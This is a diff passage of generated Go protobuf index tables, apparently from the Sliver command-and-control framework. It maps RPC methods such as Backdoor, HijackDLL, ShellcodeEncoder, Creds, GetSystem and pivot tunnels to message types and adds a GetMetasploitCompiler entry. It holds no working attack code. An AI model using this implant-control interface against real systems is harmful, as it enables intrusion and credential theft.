+ (*sliverpb.ExecWasmExtension)(nil), // 210: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 211: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 212: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 213: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 214: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 215: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 216: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty @@ -960,269 +965,271 @@ var file_rpcpb_services_proto_depIdxs = []int32{ 34, // 70: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq 35, // 71: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq 0, // 72: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 36, // 73: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 74: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 75: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 37, // 76: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 37, // 77: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 78: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 38, // 79: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 38, // 80: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 39, // 81: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 39, // 82: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 40, // 83: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 41, // 84: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 42, // 85: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 43, // 86: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 44, // 87: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 45, // 88: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 46, // 89: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 47, // 90: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 48, // 91: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 49, // 92: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 50, // 93: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 51, // 94: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 52, // 95: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 53, // 96: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 54, // 97: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 55, // 98: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 56, // 99: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 57, // 100: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 58, // 101: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 59, // 102: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 60, // 103: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 61, // 104: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 62, // 105: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 63, // 106: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 64, // 107: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 65, // 108: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 66, // 109: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 67, // 110: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 68, // 111: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 69, // 112: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 70, // 113: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 71, // 114: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq - 72, // 115: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 73, // 116: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 74, // 117: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 75, // 118: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 76, // 119: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 77, // 120: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 78, // 121: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 79, // 122: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 123: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 80, // 124: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 81, // 125: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 82, // 126: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 83, // 127: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 84, // 128: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 85, // 129: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 86, // 130: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 87, // 131: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 88, // 132: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 89, // 133: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 90, // 134: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 91, // 135: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 92, // 136: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 93, // 137: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 94, // 138: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 95, // 139: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 96, // 140: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 97, // 141: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 98, // 142: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 99, // 143: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 100, // 144: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 101, // 145: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 102, // 146: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 103, // 147: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 104, // 148: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 105, // 149: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 106, // 150: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 107, // 151: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 108, // 152: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 109, // 153: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 110, // 154: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 111, // 155: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 112, // 156: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 113, // 157: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 114, // 158: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 115, // 159: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 116, // 160: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 116, // 161: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 117, // 162: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 118, // 163: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 118, // 164: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 119, // 165: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 166: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 120, // 167: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 168: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 0, // 169: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 121, // 170: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 171: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 0, // 172: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty - 122, // 173: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History - 123, // 174: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 124, // 175: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 7, // 176: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 177: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 125, // 178: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 8, // 179: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 8, // 180: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 126, // 181: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 182: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 127, // 183: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 128, // 184: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 129, // 185: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener - 130, // 186: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener - 131, // 187: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener - 132, // 188: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener - 132, // 189: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener - 133, // 190: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 133, // 191: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener - 15, // 192: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 193: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 15, // 194: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 15, // 195: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 134, // 196: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 16, // 197: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 198: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 199: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 200: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 17, // 201: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 16, // 202: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 16, // 203: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 17, // 204: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 135, // 205: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 18, // 206: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 207: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 208: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 136, // 209: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 137, // 210: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 211: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 137, // 212: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig - 25, // 213: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 214: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 138, // 215: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 25, // 216: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 217: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 218: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 139, // 219: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 28, // 220: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 221: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 140, // 222: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 29, // 223: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 224: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 30, // 225: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 226: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 227: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 136, // 228: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 141, // 229: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 230: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 142, // 231: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 143, // 232: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 144, // 233: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 145, // 234: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 235: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 33, // 236: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 146, // 237: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 147, // 238: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 148, // 239: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 149, // 240: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 150, // 241: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 151, // 242: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 152, // 243: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 244: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 153, // 245: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 38, // 246: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 247: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 38, // 248: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 38, // 249: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 38, // 250: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 41, // 251: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 154, // 252: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 155, // 253: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 156, // 254: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 157, // 255: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 158, // 256: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 159, // 257: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 159, // 258: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 160, // 259: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv - 161, // 260: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 162, // 261: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 163, // 262: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 164, // 263: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 165, // 264: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 166, // 265: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 167, // 266: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 168, // 267: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 158, // 268: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 169, // 269: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 170, // 270: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 171, // 271: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 172, // 272: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 173, // 273: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 174, // 274: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 175, // 275: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 176, // 276: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 176, // 277: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 176, // 278: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 177, // 279: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 178, // 280: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 179, // 281: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 179, // 282: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 180, // 283: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 181, // 284: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 182, // 285: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 183, // 286: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 184, // 287: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 288: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 185, // 289: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 186, // 290: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 187, // 291: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 187, // 292: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 187, // 293: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 188, // 294: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 189, // 295: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 190, // 296: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 191, // 297: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 192, // 298: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 193, // 299: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 194, // 300: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 195, // 301: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 196, // 302: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 197, // 303: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 198, // 304: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 199, // 305: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 200, // 306: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 201, // 307: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 202, // 308: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 203, // 309: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 202, // 310: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 100, // 311: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 312: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 204, // 313: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 205, // 314: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 206, // 315: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 207, // 316: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 208, // 317: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 209, // 318: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 210, // 319: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 210, // 320: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 211, // 321: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 211, // 322: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 212, // 323: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 213, // 324: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 214, // 325: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 215, // 326: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 116, // 327: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 328: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 117, // 329: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 118, // 330: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 331: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 119, // 332: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 25, // 333: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 167, // [167:334] is the sub-list for method output_type - 0, // [0:167] is the sub-list for method input_type + 0, // 73: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty + 36, // 74: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 75: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 76: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 37, // 77: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 37, // 78: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 79: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 38, // 80: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 38, // 81: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 39, // 82: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 39, // 83: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 40, // 84: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 41, // 85: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 42, // 86: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 43, // 87: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 44, // 88: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 45, // 89: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 46, // 90: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 47, // 91: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 48, // 92: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 49, // 93: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 50, // 94: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 51, // 95: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 52, // 96: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 53, // 97: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 54, // 98: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 55, // 99: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 56, // 100: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 57, // 101: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 58, // 102: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 59, // 103: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 60, // 104: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 61, // 105: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 62, // 106: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 63, // 107: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 64, // 108: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 65, // 109: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 66, // 110: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 67, // 111: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 68, // 112: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 69, // 113: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 70, // 114: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 71, // 115: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 72, // 116: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 73, // 117: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 74, // 118: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 75, // 119: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 76, // 120: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 77, // 121: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 78, // 122: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 79, // 123: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 124: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 80, // 125: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 81, // 126: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 82, // 127: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 83, // 128: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 84, // 129: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 85, // 130: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 86, // 131: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 87, // 132: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 88, // 133: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 89, // 134: 